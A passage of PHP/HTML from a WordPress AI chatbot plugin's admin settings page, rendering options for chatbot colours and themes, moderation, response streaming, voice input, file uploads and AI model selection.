bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the text color for the input field. Default is #e1e3e6", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Text Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="input_text_color" name="aiomatic_Chatbot_Settings[input_text_color]" value="<?php echo esc_html($input_text_color);?>" onchange="inputtextcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the placeholder color for the input field. Default is #e1e3e6", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Placeholder Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="input_placeholder_color" name="aiomatic_Chatbot_Settings[input_placeholder_color]" value="<?php echo esc_html($input_placeholder_color);?>" onchange="inputplaceholdercolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the persona name color for the input field. Default is #3c434a", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Persona Name Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="persona_name_color" name="aiomatic_Chatbot_Settings[persona_name_color]" value="<?php echo esc_html($persona_name_color);?>" onchange="personanamecolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the persona role color for the input field. Default is #3c434a", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Persona Role Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="persona_role_color" name="aiomatic_Chatbot_Settings[persona_role_color]" value="<?php echo esc_html($persona_role_color);?>" onchange="personarolecolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the submit button. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Submit Button Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="submit_color" name="aiomatic_Chatbot_Settings[submit_color]" value="<?php echo esc_html($submit_color);?>" onchange="submitcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the text color of the submit button. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Submit Button Text Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="submit_text_color" name="aiomatic_Chatbot_Settings[submit_text_color]" value="<?php echo esc_html($submit_text_color);?>" onchange="submittextcolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the voice button. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Button Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="voice_color" name="aiomatic_Chatbot_Settings[voice_color]" value="<?php echo esc_html($voice_color);?>" onchange="voicecolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the voice button when activated. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Button Activated Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="voice_color_activated" name="aiomatic_Chatbot_Settings[voice_color_activated]" value="<?php echo esc_html($voice_color_activated);?>" onchange="voicecolorChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot header.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Theme:", 'aiomatic-automatic-ai-content-writer');?></b><br/> </div> </td><td> <div> <select id="chat_theme" name="aiomatic_Chatbot_Settings[chat_theme]" onchange="themeChanged();" class="cr_width_full"> <?php echo '<option'.($chat_theme == '' ? ' selected': '').' value="">No Change</option>'; echo '<option'.($chat_theme == 'light' ? ' selected': '').' value="light">Light</option>'; echo '<option'.($chat_theme == 'dark' ? ' selected': '').' value="dark">Dark</option>'; echo '<option'.($chat_theme == 'midnight' ? ' selected': '').' value="midnight">Midnight</option>'; echo '<option'.($chat_theme == 'sunrise' ? ' selected': '').' value="sunrise">Sunrise</option>'; echo '<option'.($chat_theme == 'ocean' ? ' selected': '').' value="ocean">Ocean</option>'; echo '<option'.($chat_theme == 'forest' ? ' selected': '').' value="forest">Forest</option>'; echo '<option'.($chat_theme == 'winter' ? ' selected': '').' value="winter">Winter</option>'; echo '<option'.($chat_theme == 'twilight' ? ' selected': '').' value="twilight">Twilight</option>'; echo '<option'.($chat_theme == 'desert' ? ' selected': '').' value="desert">Desert</option>'; echo '<option'.($chat_theme == 'cosmic' ? ' selected': '').' value="cosmic">Cosmic</option>'; echo '<option'.($chat_theme == 'rose' ? ' selected': '').' value="rose">Rose</option>'; echo '<option'.($chat_theme == 'tropical' ? ' selected': '').' value="tropical">Tropical</option>'; echo '<option'.($chat_theme == 'facebook' ? ' selected': '').' value="facebook">Facebook</option>'; echo '<option'.($chat_theme == 'twitter' ? ' selected': '').' value="twitter">Twitter</option>'; echo '<option'.($chat_theme == 'instagram' ? ' selected': '').' value="instagram">Instagram</option>'; echo '<option'.($chat_theme == 'whatsapp' ? ' selected': '').' value="whatsapp">WhatsApp</option>'; echo '<option'.($chat_theme == 'linkedin' ? ' selected': '').' value="linkedin">LinkedIn</option>'; if($aiomatic_themes->have_posts()) { foreach ($aiomatic_themes->posts as $aiomatic_theme) { echo '<option'.($chat_theme == $aiomatic_theme->ID ? ' selected': '').' value="' . $aiomatic_theme->ID . '">'. esc_html($aiomatic_theme->post_title) . '</option>'; } } ?> </select> </div> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot Theme Management:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Save new color themes from current color settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Save New Theme From Current Colors:", 'aiomatic-automatic-ai-content-writer');?></b></td> <td> <button href="#" id="aiomatic_save_theme" class="page-title-action"><?php echo esc_html__("Save New Theme", 'aiomatic-automatic-ai-content-writer'); ?></button> </td></tr> <tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Delete an existing theme from the listed themes.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Delete Existing Theme:", 'aiomatic-automatic-ai-content-writer');?></b></td> <td> <?php if($aiomatic_themes->have_posts()) { echo '<select id="chat_theme_delete" class="cr_width_60p">'; echo '<option value="" selected disabled>'. esc_html__("Select a theme to delete", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($aiomatic_themes->posts as $aiomatic_theme) { echo '<option value="' . $aiomatic_theme->ID . '">'. esc_html($aiomatic_theme->post_title) . '</option>'; } echo '</select>'; } else { echo '<select id="chat_theme_delete" class="cr_width_60p">'; echo '<option value="" selected disabled>'. esc_html__("No saved themes available", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } ?> <button href="#"<?php if(!$aiomatic_themes->have_posts()){ echo ' disabled';}?> id="aiomatic_delete_theme" class="cr_float_right page-title-action"><?php echo esc_html__("Delete Selected Theme", 'aiomatic-automatic-ai-content-writer'); ?></button> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot Themes Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/M1uwngrumrg" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> </table> </div> <div id="tab-2" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Chatbot Moderation Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable chatbot moderation", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable User Message Moderation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="enable_moderation" name="aiomatic_Chatbot_Settings[enable_moderation]"<?php if ($enable_moderation == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you want to use for moderation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Moderation Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="moderation_model" name="aiomatic_Chatbot_Settings[moderation_model]" class="cr_width_full"> <?php echo '<option' . ($moderation_model == 'text-moderation-stable' ? ' selected': '') . ' value="text-moderation-stable">text-moderation-stable</option>'; echo '<option' . ($moderation_model == 'text-moderation-latest' ? ' selected': '') . ' value="text-moderation-latest">text-moderation-latest</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the message which will appear to users when their input is flagged.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Flagged Text Message:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[flagged_message]" placeholder="Your message has been flagged as potentially harmful or inappropriate. Please review your language and content to ensure it aligns with our values of respect and sensitivity towards others. Thank you for your cooperation."><?php echo esc_textarea($flagged_message); ?></textarea> </div> </td></tr> </table> </div> <div id="tab-3" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Chatbot Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to make the chatbot respond with full text or do you want to enable response streaming, which is the recommended method to be used. In this case, the response will appear in real time, as it is generated by the AI (similar to ChatGPT). You can also use a typing effect, so text will appear gradually, but in this case, the response will start to appear only after the AI sent the full response to the plugin. This is also required for the text-to-speech feature of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Instant Responses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="instant_response" name="aiomatic_Chatbot_Settings[instant_response]" class="cr_width_full" onchange="instantResponseChanged();"> <?php echo '<option' . ($instant_response == 'on' ? ' selected': '') . ' value="on">'. esc_html__("Instant Response", 'aiomatic-automatic-ai-content-writer') . '</option>'; if (!isset($aiomatic_Main_Settings['app_id'])) { $aiomatic_Main_Settings['app_id'] = ''; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(empty($appids)) { $token = ''; } else { $token = $appids[array_rand($appids)]; } if(!aiomatic_is_aiomaticapi_key($token)) { echo '<option' . ($instant_response == 'stream' ? ' selected': '') . ' value="stream">'. esc_html__("Response Streaming (Recommended)", 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '<option' . ($instant_response == 'off' ? ' selected': '') . ' value="off">'. esc_html__("Typewriter Effect", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr class="hideStreamer"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to allow users to stop response creation when AI message streaming in progress.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Allow Users To Stop Response Creation When Streaming:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="allow_stream_stop" name="aiomatic_Chatbot_Settings[allow_stream_stop]"<?php if ($allow_stream_stop == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to disable modern response processing in the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Chatbot Modern Response Processing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="disable_modern_chat" name="aiomatic_Chatbot_Settings[disable_modern_chat]"<?php if ($disable_modern_chat == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to allow the chatbot to send HTML responses and the plugin to execute and parse these HTML responses.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot HTML Responses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="enable_html" name="aiomatic_Chatbot_Settings[enable_html]"<?php if ($enable_html == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to remove JavaScript code from the chatbot's HTML responses.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip JavaScript From Chatbot HTML Responses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="strip_js" name="aiomatic_Chatbot_Settings[strip_js]"<?php if ($strip_js == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the copying of messages, if users click the message bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Message Copying By Clicking It:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="enable_copy" name="aiomatic_Chatbot_Settings[enable_copy]"<?php if ($enable_copy == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to automatically scroll the window to bottom on new messages.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Scroll To Bottom Of The Form On New Messages:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="scroll_bot" name="aiomatic_Chatbot_Settings[scroll_bot]"<?php if ($scroll_bot == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a sound effect to be played when a message is sent in the chatbot. To disable this feature, leave this settings field blank. You can get free sound effects from here: https://pixabay.com/sound-effects/search/notification/?order=ec", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot 'Send Message' Sound Effect:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" placeholder="<?php echo esc_html__("Upload your 'Send Message' sound effect file using the button from below", 'aiomatic-automatic-ai-content-writer');?>" id="send_message_sound" name="aiomatic_Chatbot_Settings[send_message_sound]" value="<?php echo esc_attr($send_message_sound); ?>" /> <button class="button" id="aiomatic_upload_send_sound_button"><?php echo esc_html__("Upload a 'Send Message' sound effect", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a sound effect to be played when a message is received in the chatbot. To disable this feature, leave this settings field blank. You can get free sound effects from here: https://pixabay.com/sound-effects/search/notification/?order=ec", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot 'Receive Message' Sound Effect:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" placeholder="<?php echo esc_html__("Upload your 'Receive Message' sound effect file using the button from below", 'aiomatic-automatic-ai-content-writer');?>" id="receive_message_sound" name="aiomatic_Chatbot_Settings[receive_message_sound]" value="<?php echo esc_attr($receive_message_sound); ?>" /> <button class="button" id="aiomatic_upload_receive_sound_button"><?php echo esc_html__("Upload a 'Receive Message' sound effect", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a number of milliseconds to set as a delay for the chatbot. You can also set an interval between two values (in ms), case in which, the chatbot will select a random number of milliseconds from that interval, at each response.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Response Delay (ms):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" placeholder="<?php echo esc_html__("Example: 100-500", 'aiomatic-automatic-ai-content-writer');?>" id="response_delay" name="aiomatic_Chatbot_Settings[response_delay]" value="<?php echo esc_attr($response_delay); ?>" /> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the voice input feature for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Voice Input:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="voice_input" onchange="voiceChanged();" name="aiomatic_Chatbot_Settings[voice_input]"<?php if ($voice_input == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hideVoice"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to automatically submit form after speech recognition is complete.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chat Auto-Submit On Voice Input Completion:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="auto_submit_voice" name="aiomatic_Chatbot_Settings[auto_submit_voice]"<?php if ($auto_submit_voice == 'on') echo ' checked '; ?>> </div> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the file format how you want to allow users to download chatbot conversations to file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Download Chat Conversation To File As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="chat_download_format" name="aiomatic_Chatbot_Settings[chat_download_format]" class="cr_width_full"> <?php echo '<option' . ($chat_download_format == 'txt' ? ' selected': '') . ' value="txt">Txt</option>'; if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { echo '<option disabled title="Feature not available, check the \'PDF Chat\' tab for details" value="pdf">Pdf</option>'; } else { echo '<option' . ($chat_download_format == 'pdf' ? ' selected': '') . ' value="pdf">Pdf</option>'; } ?> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default chat mode (image or text).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Chat Mode:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="chat_mode" name="aiomatic_Chatbot_Settings[chat_mode]" class="cr_width_full"> <?php echo '<option' . ($chat_mode == 'text' ? ' selected': '') . ' value="text">Text</option>'; echo '<option' . ($chat_mode == 'images' ? ' selected': '') . ' value="images">Image</option>'; ?> </select> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the prompts to be user editable. You should use this feature only together with the prompt templates feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt Templates:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" name="aiomatic_Chatbot_Settings[prompt_templates]" placeholder="Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one."><?php echo esc_textarea($prompt_templates); ?></textarea> </div> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the prompts to be user editable. You should use this feature only together with the prompt templates feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompts Editable By Users:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="prompt_editable" name="aiomatic_Chatbot_Settings[prompt_editable]" class="cr_width_full"> <?php echo '<option' . ($prompt_editable == 'on' ? ' selected': '') . ' value="on">On</option>'; echo '<option' . ($prompt_editable == 'off' ? ' selected': '') . ' value="off">Off</option>'; ?> </select> </td> </tr> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Vision Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an expiration date for uploaded files from AI Vision feature in the chatbot - after the files expired, they will be automatically deleted. You can set dates in this format: +1 day, +2 days, etc. To disable this feature, leave it empty.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot AI Vision Uploaded Files Expiration Date:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" name="aiomatic_Chatbot_Settings[file_expiration]" class="cr_width_full" value="<?php echo esc_html($file_expiration);?>" placeholder="Example: +1 day"> </td> </tr> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Image Chatbot Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image size for the AI image chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Chatbot Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="sizeid" name="aiomatic_Chatbot_Settings[image_chat_size]" class="cr_width_full"> <option value="256x256" <?php if($image_chat_size == '256x256'){echo ' selected';}?> ><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512" <?php if($image_chat_size == '512x512'){echo ' selected';}?> ><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" <?php if($image_chat_size == '1024x1024'){echo ' selected';}?> ><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image model for the AI image chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_Chatbot_Settings[image_chat_model]" class="cr_width_full"> <option value="dalle2" <?php if($image_chat_model == 'dalle2'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3" <?php if($image_chat_model == 'dalle3'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd" <?php if($image_chat_model == 'dalle3hd'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> </table> </div> <div id="tab-4" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Default API Parameters:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the assistant to be used for chatbot. The model used when creating the AI Assistant will be used to create the content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Assistant Name (Using This Disables Chatbot Personas):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="assistant_id" name="aiomatic_Chatbot_Settings[assistant_id]" class="cr_width_full" onchange="assistantChanged();"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if ($assistant_id == '') { echo " selected"; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if ($assistant_id == $myassistant->ID) { echo " selected"; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideAssist"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable file upload for the chatbot. Note that to use this feature, you will need an AI model which supports file search. Supported file types: .c, .cs, .cpp, .doc, .docx, .html, .java, .json, .md, .pdf, .php, .pptx, .py, .rb, .tex, .txt, .css, .js, .sh, .ts", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable File Uploads In The Chatbot (Using AI Assistants File Search):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="enable_file_uploads" name="aiomatic_Chatbot_Settings[enable_file_uploads]" <?php if ($assistant_id != '') { $assistant_model = get_post_meta($assistant_id, '_assistant_model', true); if(!empty($assistant_model)) { if(!aiomatic_is_retrieval_model($assistant_model, '')) { echo 'disabled title="Disabled when using AI Assistants which use models which don\'t support AI Retrieval"'; } } else { echo 'disabled title="No AI model added to this assistant"'; } } ?>class="cr_width_full"> <option value="on" <?php if($enable_file_uploads == 'on'){echo ' selected';}?> ><?php echo esc_html__("On", 'aiomatic-automatic-ai-content-writer');?></option> <option value="off" <?php if($enable_file_uploads == 'off'){echo ' selected';}?> ><?php echo esc_html__("Off", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model to be used for chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="chat_model" name="aiomatic_Chatbot_Settings[chat_model]" class="cr_width_full" <?php if ($assistant_id != ''){echo 'disabled title="Disabled when using AI Assistants"';}?> onchange="aiomatic_check_vision();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($chat_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx); if(aiomatic_is_vision_model($modelx, '')) { echo esc_html__(" (Vision)", 'aiomatic-automatic-ai-content-writer'); } echo esc_html(aiomatic_get_model_provider($modelx)); echo '</option>'; } ?> </select> </td> </tr> <tr 